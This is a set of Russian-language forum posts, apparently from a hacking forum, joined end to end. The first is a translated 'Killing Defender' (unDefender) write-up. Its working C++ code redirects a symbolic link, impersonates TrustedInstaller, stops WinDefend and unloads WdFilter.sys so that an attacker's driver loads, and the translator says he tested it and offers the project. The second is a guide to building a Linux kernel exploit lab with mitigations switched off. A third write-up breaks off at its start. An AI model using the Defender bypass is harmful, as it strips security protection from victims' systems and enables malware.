HANDLE newSymLinkHandle;
status = NtCreateSymbolicLinkObject(&newSymLinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &newSymLinkObjAttr, &target);
if (status != STATUS_SUCCESS)
{
std::wcout << L"[-] Couldn't create new symbolic link " << symLinkName << L" to " << newDestination << L". Error:0x" << std::hex << status << std::endl;
return status;
}
else std::wcout << L"[+] Symbolic link " << symLinkName << L" to " << newDestination << L" created!" << std::endl;
CloseHandle(newSymLinkHandle);
return STATUS_SUCCESS;
Два момента:
Это необходимо потому, что если хэндл останется открытым, счётчик ссылок будет равен 2 (1 для хэндла, 1 для OBJ_PERMANENT) и мы не сможем удалить её позже, когда попытаемся восстановить старую символьную ссылку. В этот момент символическая ссылка изменена и указывает на то место, которое мы контролируем: скопируем туда наш драйвер, удобно переименованный в WdFilter.sys - делаем это в первой строке главной функции через серию вызовов функции std::system. Знаю, что так поступать нецивилизованно, но смиритесь с этим.
Убиваем Защитник
Теперь переходим к самой пикантной части - убийству ЗаШИТника! Это делается в функции ImpersonateAndUnload (реализация в ImpersonateAndUnload.cpp) в 4 шага:
NT SERVICE\TrustedInstaller
, но не SYSTEM или
Administrators.Шаг 1 - запускаем TrustedInstaller
Первое, что нужно сделать - это запустить службу TrustedInstaller. Получаем
хэндл Диспетчера управления службами при помощи функции OpenSCManagerW, затем
запускаем службу TrustedInstaller функциями OpenServiceW и StartServiceW.
Служба TrustedInstaller, в свою очередь, запустит процесс TrustedInstaller,
токен которого содержит SID NT SERVICE\TrustedInstaller
. Всё довольно
просто, вот код:
C++:Copy to clipboard
RAII::ScHandle svcManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!svcManager.GetHandle())
{
Error(GetLastError());
return 1;
}
else std::cout << "[+] Opened handle to the SCM!\n";
RAII::ScHandle trustedInstSvc = OpenServiceW(svcManager.GetHandle(), L"TrustedInstaller", SERVICE_START);
if (!trustedInstSvc.GetHandle())
{
Error(GetLastError());
std::cout << "[-] Couldn't get a handle to the TrustedInstaller service...\n";
return 1;
}
else std::cout << "[+] Opened handle to the TrustedInstaller service!\n";
auto success = StartServiceW(trustedInstSvc.GetHandle(), 0, nullptr);
if (!success && GetLastError() != 0x420) // 0x420 is the error code returned when the service is already running
{
Error(GetLastError());
std::cout << "[-] Couldn't start TrustedInstaller service...\n";
return 1;
}
else std::cout << "[+] Successfully started the TrustedInstaller service!\n";
Шаг 2 - открываем первый поток TrustedInstaller
Теперь, когда процесс TrustedInstaller активен, нам нужен хэнлд его первого потока, чтобы мы могли вызвать для него NtImpersonateThread на шаге 3. Это делается с помощью следующего кода:
C++:Copy to clipboard
auto trustedInstPid = FindPID(L"TrustedInstaller.exe");
if (trustedInstPid == ERROR_FILE_NOT_FOUND)
{
std::cout << "[-] Couldn't find the TrustedInstaller process...\n";
return 1;
}
auto trustedInstThreadId = GetFirstThreadID(trustedInstPid);
if (trustedInstThreadId == ERROR_FILE_NOT_FOUND || trustedInstThreadId == 0)
{
std::cout << "[-] Couldn't find TrustedInstaller process' first thread...\n";
return 1;
}
RAII::Handle hTrustedInstThread = OpenThread(THREAD_DIRECT_IMPERSONATION, false, trustedInstThreadId);
if (!hTrustedInstThread.GetHandle())
{
std::cout << "[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";
return 1;
}
else std::cout << "[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";
FindPID и GetFirstThreadID - это две функции, которые я реализовал в
FindPID.cpp и GetFirstThreadID.cpp и которые делают именно то, о чем
говорят их названия: они находят PID процесса, который вы им передаете, и
выдают вам TID его первого потока. Нам нужен первый поток, поскольку в нём
наверняка есть SID NT SERVICE\TrustedInstaller
. Получив идентификатор
потока, мы передаём его в OpenThread с правом доступа
THREAD_DIRECT_IMPERSONATION, что позволит нам позже использовать полученный
хэндл в функции NtImpersonateThread.
Шаг 3 - выдаём себя за TrustedInstaller
Сейчас мы достаточно подготовились, чтобы вызвать функцию NtImpersonateThread.Но сначала мы должны инициализировать структуру данных SECURITY_QUALITY_OF_SERVICE, чтобы сообщить ядру, какой тип перевоплощения мы хотим выполнить ([тут](https://docs.microsoft.com/en- us/windows/win32/secauthz/impersonation-levels) дополнительная информация об уровнях перевоплощений):
C++:Copy to clipboard
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
auto status = NtImpersonateThread(GetCurrentThread(), hTrustedInstThread.GetHandle(), &sqos);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully impersonated TrustedInstaller token!\n";
else
{
Error(GetLastError());
std::cout << "[-] Failed to impersonate TrustedInstaller...\n";
return 1;
}
Если NtImpersonateThread хорошо выполнил свою работу, наш поток будет иметь SID от TrustedInstaller. Примечание: чтобы не испортить токен основного потока, ImpersonateAndUnload вызывается из main в жертвенном stdhread. Теперь у нас есть необходимые права доступа и мы можем переходить к шагу 4, чтобы выгрузить драйвер.
Шаг 4 - выгружаем WdFilter.sys
Для выгрузки WdFilter сначала нужно снять блокировку, наложенную на него самим Защитником. Это делается перезапуском сервиса WinDefend с помощью того же подхода, который мы использовали для запуска сервиса TrustedInstaller. Но сначала нам нужно дать нашему токену возможность загружать и выгружать драйвера. Это делается путём включения привилегии SeLoadDriverPrivilege в нашем контексте безопасности при помощи функции SetPrivilege, определённой в файле SetPrivilege.cpp. Передаём ей токен нашего потока и привилегию, которую мы хотим включить:
C++:Copy to clipboard
HANDLE tempHandle;
success = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &tempHandle);
if (!success)
{
Error(GetLastError());
std::cout << "[-] Failed to open current thread token, exiting...\n";
return 1;
}
RAII::Handle currentToken = tempHandle;
success = SetPrivilege(currentToken.GetHandle(), L"SeLoadDriverPrivilege", true);
if (!success) return 1;
После получения прав SeLoadDriverPrivilege перезапускаем сервис Защитника, WinDefend:
C++:Copy to clipboard
RAII::ScHandle winDefendSvc = OpenServiceW(svcManager.GetHandle(), L"WinDefend", SERVICE_ALL_ACCESS);
if (!winDefendSvc.GetHandle())
{
Error(GetLastError());
std::cout << "[-] Couldn't get a handle to the WinDefend service...\n";
return 1;
}
else std::cout << "[+] Opened handle to the WinDefend service!\n";
SERVICE_STATUS svcStatus;
success = ControlService(winDefendSvc.GetHandle(), SERVICE_CONTROL_STOP, &svcStatus);
if (!success)
{
Error(GetLastError());
std::cout << "[-] Couldn't stop WinDefend service...\n";
return 1;
}
else std::cout << "[+] Successfully stopped the WinDefend service! Proceeding to restart it...\n";
Sleep(10000);
success = StartServiceW(winDefendSvc.GetHandle(), 0, nullptr);
if (!success)
{
Error(GetLastError());
std::cout << "[-] Couldn't restart WinDefend service...\n";
return 1;
}
else std::cout << "[+] Successfully restarted the WinDefend service!\n";
Единственное отличие запуска этого сервиса от запуска сервиса TrustedInstaller
C++:Copy to clipboard
UNICODE_STRING wdfilterDrivServ;
RtlInitUnicodeString(&wdfilterDrivServ, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");
status = NtUnloadDriver(&wdfilterDrivServ);
if (status == STATUS_SUCCESS)
{
std::cout << "[+] Successfully unloaded Wdfilter!\n";
}
else
{
Error(status);
std::cout << "[-] Failed to unload Wdfilter...\n";
}
return status;
Единственный аргумент функции NtUnloadDriver - строка, содержащая NT-путь
\Registry
, который можно увидеть с помощью WinObj. Если всё прошло по плану,
то WdFilter будет выгружен из ядра.
Перезагрузка и восстановление символической ссылки
Теперь, когда WdFilter был выгружен, защита от несанкционированного доступа
Защитника должна сработать в считанные мгновения и немедленно перезагрузить
его, а также залочить, чтобы предотвратить дальнейшие выгрузки. Если
символьная ссылка была успешна изменена, то будет загружен наш драйвер (в
случае unDefender это RWE). Тем временем, через 10 секунд unDefender
восстановит исходное значение символической ссылки, вызвав ChangeSymlink и
передав старое значение.
В видео вы можете заметить несколько вещей:
Примечание: значок Защитника стал жёлтым в правом нижнем углу, потому что он недоволен тем, что я отключил автоматическую отправку образцов. Это не связано с unDefender.
Ссылки:
xttps://twitter.com/jonasLyk/status/1378143191279472644
xttps://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-
win32-to-nt.html
xttps://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-
exploiting.html
xttps://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-
mitigations.html
---
Оригинал статьи: https://aptw.tf/2021/08/21/killing-defender.html
Переведено специально для XSS. В аттачах проект и красивая gif-ка, если вдруг
пропадёт по ссылке.
Перевод вольный, но уж слишком я не люблю Защитник Windows за его неотключаемость... Так как "давненько не брал я в руки шашек", то возможны косяки в терминологии и прочие нюансы. Поэтому читайте код, а не текст Но факт есть факт: метод работает , проверил лично!
Содержание
Идея этого поста - настроить среду для игры с ядром Linux. Этот пост является своеобразной заметкой о проделаном процессе.
Настройка среды
Чтобы создать минималистичную и настраиваемую среду, я решил собрать ядро из
исходного кода (kernel.org) и скомпилировать свои
собственные initramfs
, используя buildroot
(buildroot.org) с поддержкой busybox
(busybox.net). Для эмуляции всей системы я решил
использовать QEMU
(QEMU.org).
Следующие переменные должны быть установлены, чтобы следовать этому руководству:
Code:Copy to clipboard
export BUILD_PATH="/your/path/build/environment"
mkdir -p $BUILD_PATH
Установка QEMU
Просто следуйте командной строке, соответствующей вашему дистрибутиву,
здесь.
**
Компиляция ядра**
Чтобы загрузить исходный код ядра, перейдите на
kernel.org и найдите нужную версию. В этом посте я буду
использовать 4.20
(ссылка).
После извлечения архива для минимальной конфигурации используйте make правило
allnoconfig
. В этом случае я собираюсь использовать опцию defconfig
, чтобы
получить полностью работающее ядро, а затем добавить некоторые
пользовательские настройки.
Code:Copy to clipboard
cd $BUILD_PATH
wget -O- https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.20.tar.gz | tar -xzv
mv linux-4.20 linux
cd linux
ARCH=x86_64 make defconfig
#
# конфигурация записанная в .config
#
make menuconfig
Затем включите следующие параметры:
Чтобы легко ориентироваться, нажмите первую букву параметра. Для поиска нажмите
/
и введите свой шаблон поиска. Когда появятся результаты, нажмите номер, показанный слева от параметра, чтобы перейти к нему.Click to expand...
Code:Copy to clipboard
# Debugging
Kernel hacking ---> Compile-time checks and compiler options ---> Compile the kernel with debug info ---> yes
Kernel hacking ---> Compile-time checks and compiler options ---> Provide GDB scripts for kernel debugging ---> yes
General setup ---> Configure standard kernel features ---> yes
General setup ---> Configure standard kernel features ---> Load all symbols for debugging/ksymoops ---> yes
General setup ---> Configure standard kernel features ---> Include all symbols in kallsyms ---> yes
# Only if 64 bits is selected
Binary Emulations ---> IA32 a.out support ---> yes
Binary Emulations ---> IA32 ABI for 64-bit mode ---> yes
# Make sure the following options are enabled:
General setup ---> Initial RAM filesystem and RAM disk (initramfs/initrd) support ---> yes
General setup ---> Configure standard kernel features ---> Multiple users, groups and capabilities support ---> yes
General setup ---> Configure standard kernel features ---> Sysfs syscall support ---> yes
Device Drivers ---> Generic Driver Options ---> Maintain a devtmpfs filesystem to mount at /dev ---> yes
Device Drivers ---> Generic Driver Options ---> Automount devtmpfs at /dev, after the kernel mounted the rootfs ---> yes
Device Drivers ---> Character devices ---> Enable TTY ---> yes
Device Drivers ---> Character devices ---> Serial drivers ---> 8250/16550 and compatible serial support ---> yes
Device Drivers ---> Character devices ---> Serial drivers ---> Console on 8250/16550 and compatible serial port ---> yes
File systems ---> Pseudo filesystems ---> /proc file system support ---> yes
File systems ---> Pseudo filesystems ---> sysfs file system support ---> yes
Я рекомендовал компилировать ядро с опцией KASan и без нее для отладки.
Kernel hacking ---> Memory Debugging ---> KASan: runtime memory debugger ---> yes
Click to expand...
В зависимости от эксплойта или того, что мы хотим протестировать на этом ядре, вы можете отключить следующие контрмеры:
Code:Copy to clipboard
# Allocations at NULL to allow nullptr de-reference
Memory Management options ---> Low address space to protect from user allocation ---> 0
# SMAP disabled
Processor type and features ---> Supervisor Mode Access Prevention ---> no
# KASL, can be disabled by setting nokaslr in the bootloader cmdline
Processor type and features ---> Build a relocatable kernel ---> no
# Canary disabled
General architecture-dependent options ---> Stack Protector buffer overflow detection ---> no
После того, как конфигурация установлена и настроена так, как вы хотите, скомпилируйте ядро:
Code:Copy to clipboard
nproc
8
time ARCH=x86_64 make -j 8
(...)
real 2m52.923s
user 2m32.595s
sys 0m20.537s
Теперь протестируйте новое скомпилированное ядро с помощью QEMU, используя
следующую строку (<Ctrl>a + x
для выхода):
Code:Copy to clipboard
qemu-system-x86_64 -kernel arch/x86_64/boot/bzImage -nographic -append "console=ttyS0" -enable-kvm
(...)
[ 1.991148] Kernel Offset: 0x5a00000 from 0xc1000000 (relocation range: 0xc0000000-0xc87dffff)
[ 1.991649] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]---
Эта kernel panic
является нормальным явлением, поскольку нам не хватает
процесса init
в initramfs или корневой файловой системе.
ARM
Ядро может быть скомпилировано для любой архитектуры, включая ARM, с
использованием цепочки инструментов, это включает в себя экспорт следующих
переменных перед компиляцией ядра (возможно, вам придется настроить цепочку
инструментов):
Code:Copy to clipboard
$ ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf-
Компиляция buildroot
Пришло время скомпилировать initramfs с помощью некоторых утилит bin/sbin,
включая gdbserver
и python
:
Code:Copy to clipboard
cd $BUILD_PATH
wget -O- https://buildroot.org/downloads/buildroot-2019.02.2.tar.gz | tar -xzv
mv buildroot-2019.02.2 buildroot
cd buildroot
make menuconfig
Установите следующие параметры:
Code:Copy to clipboard
# General
Target options ---> Target Architecture ---> x86_64
Build options ---> Enable compiler cache ---> yes
Build options ---> Compiler cache location ---> $(BUILD_PATH)/.buildroot-ccache
# It should be greater or equal than your kernel version
Toolchain ---> Kernel Headers ---> Linux 4.20.x kernel headers
Toolchain ---> C library ---> glibc
Toolchain ---> Enable C++ support ---> yes
System configuration ---> Run a getty (login prompt) after boot ---> TTY port ---> ttyS0
System configuration ---> Network interface to configure through DHCP ---> eth0
System configuration ---> Root filesystem overlay directories ---> $(BUILD_PATH)/buildroot/overlay
Target packages ---> Debugging, profiling and benchmark ---> gdb
Target packages ---> Interpreter languages and scripting ---> python
Target packages ---> Networking applications ---> dropbear ---> yes
Filesystem images ---> cpio the root filesystem (for use as an initial RAM filesystem) ---> yes
Filesystem images ---> ext2/3/4 root filesystem ---> ext2/3/4 variant ---> ext4
# Optional
System configuration ---> System hostname ---> nullbyte
System configuration ---> System banner ---> Welcome to nullbyte.cat
Я рекомендовал скомпилировать buildroot с параметром
ext2/3/4
, а также с параметромcpio
. Таким образом, у нас будет файловая система только для чтения, а также постоянная файловая система, в которой мы можем хранить файлы, которые будут сохраняться при перезагрузке.Click to expand...
Создайте каталог overlay
. Все хранящиеся там файлы будут скопированы в
корень файловой системы. Добавьте к нему минимальный скрипт инициализации:
Code:Copy to clipboard
mkdir $BUILD_PATH/buildroot/overlay
cat $BUILD_PATH/buildroot/overlay/init
chmod +x $BUILD_PATH/buildroot/overlay/init
Bash:Copy to clipboard
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
exec /sbin/init "$@"
Добавляем пользователей
В текущей конфигурации будет создан только пользователь root без пароля. Чтобы
создать обычного пользователя и обновить пароль root, нам нужно создать файлы
/etc/passwd
и /etc/shadow
:
C:Copy to clipboard
mkdir $BUILD_PATH/buildroot/overlay/etc/
cat $BUILD_PATH/buildroot/overlay/etc/shadow
root:$5$AQRgXbdJ$eCko6aRPrhOBegsJGLy36fmmrheNtfkUMBjlKPWEXW9:10000:0:99999:7:::
daemon:*:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
sys:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
mail:*:10933:0:99999:7:::
www-data:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
user:$5$QAucgwIL$onnijv2MwdMD.Jze4LgPx7z3kksIjU18y3jffH2urv3:10000:0:99999:7:::
Пароли, соответствующие предыдущим хешам: root:root
и user:user
(user:password
).
Если вы хотите сгенерировать собственный хеш для нового пользователя или изменить предыдущих, используйте следующую команду:
Python:Copy to clipboard
python -c "import random,string,crypt;
randomsalt = ''.join(random.sample(string.ascii_letters,8));
print crypt.crypt('PASSWORD', '\$5\$%s\$' % randomsalt)"
Соответственно обновите /etc/passwd
:
Code:Copy to clipboard
cat $BUILD_PATH/buildroot/overlay/etc/passwd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
user:x:1000:1000:Linux User,,,:/home/user:/bin/sh
Наконец, создайте домашнюю страницу пользователя и установите разрешения для таблицы устройств.
Code:Copy to clipboard
mkdir -p $BUILD_PATH/buildroot/overlay/home/user
echo -e '/home/user\td\t755\t1000\t100\t-\t-\t-\t-\t-' >> $BUILD_PATH/buildroot/system/device_table.txt
Добавляем модули ядра
Чтобы добавить модули, скомпилированные на этапе ядра, в файловую систему, мы
можем использовать каталог overlay
в качестве места назначения:
Code:Copy to clipboard
cd $BUILD_PATH/linux
make modules_install INSTALL_MOD_PATH=$BUILD_PATH/buildroot/overlay
(...)
DEPMOD 4.20.0
Доделываем
Как только все будет готово, скомпилируйте bootroot (первая компиляция займет
несколько минут):
Code:Copy to clipboard
cd $BUILD_PATH/buildroot
make source
nproc
8
make -j 8
**
Тестируем среду**
Как уже упоминалось, если вы скомпилируете buildroot с файловой системой
ext2/3/4
, у вас будет постоянное хранилище, в которое вы можете передавать
файлы через ssh и хранить их. Однако, если вы используете вариант cpio
, ключ
dropbear будет генерироваться случайным образом при каждой загрузке. Это
означает, что сертификат будет недействительным на хосте при каждой
перезагрузке.
Чтобы решить эту проблему, у вас есть 2 варианта:
~/.ssh/known_host
, добавляя команду -o UserKnownHostsFile = /dev/null -o StrictHostKeyChecking=no
к клиенту ssh.Чтобы использовать ssh на машине, нам нужно перенаправить порт на хост, мы
можем сделать это, добавив hostfwd=tcp::2222-:22
к опции -net user
. (Мы
можем добавить столько, сколько нам нужно). Я перенаправлю 3 порта, 9999 для
пользовательского пространства gdbserver, с 22 по 2222 для ssh и 8000 в
качестве дополнительных. Таким образом, полная команда с использованием ext2
выглядит так:
Code:Copy to clipboard
cd $BUILD_PATH
qemu-system-x86_64 -kernel linux/arch/x86_64/boot/bzImage \
-drive file=buildroot/output/images/rootfs.ext2,format=raw \
-net nic -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999,hostfwd=tcp::8000-:8000 \
-nographic -append "root=/dev/sda console=ttyS0" -enable-kvm
Если вы хотите использовать временную систему, замените строку -drive
на
-initrd buildroot/output/images/rootfs.cpio
и удалите root=/dev/sda
из
-append
.
После запуска ядра мы можем подключиться к нему с помощью root или user и соответствующего пароля через ssh.
Code:Copy to clipboard
ssh -p 2222 root@localhost
ssh -p 2222 user@localhost
# Чтобы включить ssh без пароля, скопируйте ключи (используйте только в постоянной системе)
ssh-copy-id -p 2222 root@localhost
ssh-copy-id -p 2222 user@localhost
Компилируем бинарные файлы
Поскольку мы указали glibc
в конфигурации buildroot
в качестве набора
инструментов, мы можем использовать наш собственный системный компилятор. Если
вы ориентируетесь на другую архитектуру, используйте компилятор gcc из
$BUILD_PATH/buildroo/output/host/usr/bin
.
После того, как вы скомпилировали двоичный файл, вы можете загрузить его через
scp
. (Не забудьте использовать файловую систему ext2 для обеспечения
устойчивости).
Отлаживаем бинарные файлы
Мы можем использовать gdbserver
для отладки двоичных файлов пользователя в
QEMU, прослушивая один из перенаправленных портов QEMU.
Code:Copy to clipboard
scp -P 2222 binary user@localhost
ssh -p 2222 user@localhost 'gdbserver localhost:9999 ./binary'
Code:Copy to clipboard
gdb binary
target remote localhost:9999
Отлаживаем ядро
Для отладки ядра мы можем добавить -s
(сокращение для -gdb tcp::1234
) и
-S
(не запускать процессор при запуске).
Code:Copy to clipboard
cd $BUILD_PATH
qemu-system-x86_64 -kernel linux/arch/x86_64/boot/bzImage \
-drive file=buildroot/output/images/rootfs.ext2,format=raw \
-net nic -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999,hostfwd=tcp::8000-:8000 \
-nographic -append "root=/dev/sda console=ttyS0" -s -S -enable-kvm
Затем на хосте мы можем загрузить двоичный файл vmlinux
и присоединиться к
gdb
заглушке QEMU.
Code:Copy to clipboard
cd $BUILD_PATH/linux
gdb vmlinux
target remote localhost:1234
Если мы запустим gdb из каталога исходного кода linux, мы сможем перечислить
исходный код и разбить его на b mm/slub.c:3770
. Если это не так, мы можем
указать каталог исходного кода ядра внутри gdb
с помощью команды dir <source-path>
.
Компилируем модули
Используйте следующий Makefile для компиляции модуля с именем module.c
Code:Copy to clipboard
obj-m += module.o
all:
make -C $BUILD_PATH/linux M=$(PWD) modules
clean:
make -C $BUILD_PATH/linux M=$(PWD) clean```
Затем мы можем загрузить скомпилированный module.ko
через scp
как root
и
установить его с помощью insmod
или modprobe
. Другой вариант - добавить
модуль в overlay каталог buildroot
и загрузить его с помощью сценария
инициализации.
Отлаживаем модули ядра
Как только ядро загружено (подтвердите это с помощью lsmod
как гость), мы можем получить его адрес с помощью cat /proc/modules | grep <имя-модуля>
или в cat /sys/module/<module>/sections/.text
.
Затем мы можем сопоставить модуль с сеансом gdb, который мы подключили к заглушке QEMU, следующим образом:
Code:Copy to clipboard
add-symbols-file <module.ko> <address>
Мы также можем указать сегменты, вручную взятые из
/sys/module/<module>/section/.<segment>
Code:Copy to clipboard
add-symbols-file <module.ko> -s .text <.text-addr> -s .data <.data-addr>
Снапшоты
Чтобы быстро восстановить состояние vm (полезно при тестировании эксплойта
ядра), нам нужно преобразовать наш образ ext2
в qcow2
:
Code:Copy to clipboard
cd $BUILD_PATH/buildroot/output/images/
qemu-img convert -O qcow2 rootfs.ext2 rootfs.qcow2 -enable-kvm
Чтобы управлять виртуальной машиной, нам нужно добавить флаг монитора QEMU и
изменить файл диска на image.qcow2
:
Code:Copy to clipboard
cd $BUILD_PATH
qemu-system-x86_64 -kernel linux/arch/x86_64/boot/bzImage \
-drive file=buildroot/output/images/rootfs.qcow2 \
-net nic -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999,hostfwd=tcp::8000-:8000 \
-nographic -append "root=/dev/sda console=ttyS0" -monitor telnet:127.0.0.1:55555,server,nowait -enable-kvm
После добавления этих параметров мы можем подключиться к монитору QEMU через
порт nc localhost 55555
и отправить консольные команды, такие как следующие:
Мы можем оставить заглушку QEMU gdb работающей и выдать loadvm <tag>
,
позволяющую нам вернуться в состояние перед запуском эксплойта.
Если вы используете -S вместе с -monitor, не забудьте ввести команду c (continue) для монитора, иначе виртуальная машина не запустится.
Click to expand...
Ориентируемся в коде ядра
Более простой способ - создать файл ctags
с тегами make
внутри пути
$BUILD_PATH/linux
и перемещаться по нему с помощью vim
и команды :tag <tag>
(vim wiki).
Дополние:
Теперь я использую cscope
вместе с vim
, так как это позволяет улучшить
перекрестные ссылки, вы можете создать базу данных, используя make cscope
и
перемещаться как ctags
, добавив set cscopetag
в ваш .vimrc.
(Взгляните
на этот плагин, который делает это и автоматически загружает базу данных
cscope.out
).
SystemTap
Вы можете кросс-скомпилировать stap с вашего хоста и загрузить его в
виртуальную машину, выполнив следующие действия:
Code:Copy to clipboard
sudo stap -a x86_64 -p 4 -v -m stap.ko --sysroot $BUILD_PATH/linux -r $BUILD_PATH/linux stap.stp
Вам нужно будет установить на гостевой машине staprun
. Я рекомендую
следовать следующему разделу и устанавливать его с помощью apt install systemtap
.
Чтобы создать загрузочный образ Ubuntu qcow2
для использования с нашим
собственным ядром, мы можем создать загрузочную программу с помощью следующей
команды:
Code:Copy to clipboard
sudo debootstrap \
--include linux-image-generic \
xenial \
debootstrap \
http://archive.ubuntu.com/ubuntu
Чтобы установить модули
make modules_install INSTALL_MOD_PATH=debootstrap/
Click to expand...
Затем мы можем выполнить chroot
к нему и создать нашего пользователя и
изменить пароль root, нам также нужно перемонтировать корневую файловую
систему как rw
и включить службу DHCP при загрузке:
Code:Copy to clipboard
sudo chroot debootstrap
echo -e 'root\nroot' passwd
/usr/sbin/adduser user
exit
# Remount the root filesystem as rw.
cat << EOF | sudo tee "debootstrap/etc/fstab"
/dev/sda / ext4 errors=remount-ro,acl 0 1
EOF
# Automaticaly start networking.
cat << EOF | sudo tee debootstrap/etc/systemd/system/dhclient.service
[Unit]
Description=DHCP Client
Documentation=man:dhclient(8)
Wants=network.target
Before=network.target
[Service]
Type=forking
PIDFile=/var/run/dhclient.pid
ExecStart=/sbin/dhclient -4 -q
[Install]
WantedBy=multi-user.target
EOF
sudo ln -sf debootstrap/etc/systemd/system/dhclient.service \
debootstrap/etc/systemd/system/multi-user.target.wants/dhclient.service
И, наконец, создайте образ qcow2
:
Если вам нужно больше места на диске, измените + 1G (этот образ не следует использовать для компиляции, только для тестирования).
Click to expand...
Code:Copy to clipboard
sudo virt-make-fs \
--format qcow2 \
--size +1G \
--type ext2 \
debootstrap \
xenial-debootstrap.ext2.qcow2
Вы всегда можете изменить его размер позже:
Code:Copy to clipboard
qemu-img resize xenial-debootstrap.ext2.qcow2 +5G
# Inside the QEMU vm as root:
resize2fs /dev/sda
Запустите наше скомпилированное ядро с загрузкой Ubuntu:
Code:Copy to clipboard
qemu-system-x86_64 -kernel linux/arch/x86_64/boot/bzImage \
-drive file=xenial-debootstrap.ext2.qcow2 \
-net nic -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999,hostfwd=tcp::8000-:8000 \
-nographic -append "root=/dev/sda console=ttyS0" -monitor telnet:127.0.0.1:55555,server,nowait -enable-kvm
Теперь у вас есть полностью работающее настраиваемое ядро Linux с менеджером пакетов и некоторыми другими инструментами.
Если во время загрузки отображаются ошибки, это связано с несоответствием
конфигурации ядра. Вы можете получить конфигурацию из debootstrap/config-*
и
make oldconfig
.
Вы также можете скомпилировать ядро ubuntu, используя этот метод вики и загрузив нужную версию ядра из основного репозитория здесь.
ARM
Для ARM процесс аналогичен:
Code:Copy to clipboard
sudo debootstrap \
--arch armhf xenial \
debootstrap \
http://ports.ubuntu.com/ubuntu-ports
Нам нужно проделать те же шаги, что описаны в обычном ubuntu. На этот раз для
chroot в загрузочную среду нам понадобится qemu-user
и соответствующая
библиотека libc
для архитектуры, на которую мы нацелены. Нам нужно будет
настроить binfmt
и создать символическую ссылку на библиотеки, чтобы мы
могли прозрачно выполнять arm:
Code:Copy to clipboard
sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/armhf
Теперь мы можем выполнить chroot
к нему и создать нашего пользователя и
изменить пароль root, нам также необходимо перемонтировать корневую файловую
систему как rw
и включить службу DHCP при загрузке, как это было сделано в
версии x86_64.
Обратите внимание, как на этот раз vda
указывается как корневой раздел, а не
sda
, поскольку мы собираемся использовать виртуальную машину.
Code:Copy to clipboard
sudo chroot debootstrap
echo -e 'root\nroot' passwd
/usr/sbin/adduser user
exit
# Remount the root filesystem as rw.
cat << EOF | sudo tee "debootstrap/etc/fstab"
/dev/vda / ext4 errors=remount-ro,acl 0 1
EOF
# Automaticaly start networking.
cat << EOF | sudo tee debootstrap/etc/systemd/system/dhclient.service
[Unit]
Description=DHCP Client
Documentation=man:dhclient(8)
Wants=network.target
Before=network.target
[Service]
Type=forking
PIDFile=/var/run/dhclient.pid
ExecStart=/sbin/dhclient -4 -q
[Install]
WantedBy=multi-user.target
EOF
sudo ln -sf debootstrap/etc/systemd/system/dhclient.service \
debootstrap/etc/systemd/system/multi-user.target.wants/dhclient.service
И, наконец, создайте образ qcow2
:
Если вам нужно больше места на диске, измените + 1G (этот образ не следует использовать для компиляции, только для тестирования).
Click to expand...
Code:Copy to clipboard
sudo virt-make-fs \
--format qcow2 \
--size +1G \
--type ext2 \
debootstrap \
xenial-debootstrap-arm.ext2.qcow2
Вы всегда можете изменить его размер позже:
Code:Copy to clipboard
qemu-img resize xenial-debootstrap.ext2.qcow2 +5G
# Inside the QEMU vm as root:
resize2fs /dev/sda
Запустите наше скомпилированное ядро с помощью начальной загрузки Ubuntu ARM
(я рекомендую использовать более одного процессора с -smp <n>
, поскольку
эмуляция процессора медленная):
Code:Copy to clipboard
qemu-system-arm \
-M virt -kernel linux/arch/arm/boot/zImage -M virt -smp 4 \
-append 'root=/dev/vda console=ttyAMA0' \
-drive if=none,file=xenial-debootstrap-arm.ext2.qcow2,format=qcow2,id=hd \
-device virtio-blk-device,drive=hd \
-device virtio-net-device,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999 \
-monitor telnet:127.0.0.1:55555,server,nowait \
-nographic
От ТС
Эта статья статья, является переводом. Оригинал доступен
[тут](https://www.nullbyte.cat/post/linux-kernel-exploit-development-
environment/)
Тема эксплуатации ядра линукса для меня новая, поэтому в переводе могут быть
ошибки. Кроме того, я давно ничего не переводил для форума
Перевод:
Azrv3l cпециально для xss.is
В этом сообщении кратко представлена функция Windows Notification и написан
write-up на хорошее упражнение, которое Брюс Данг преложил во время своего
семинара на Recon Montreal 2018.
*Автор женского пола, но перевод я писал от мужского имени. Так было проще переводить, и думаю так будет удобнее воспринимать материал
Преамбула
Этот пост был написан через несколько дней после окончания тренировок Брюса
Данга по разведке в Монреале, но я решил
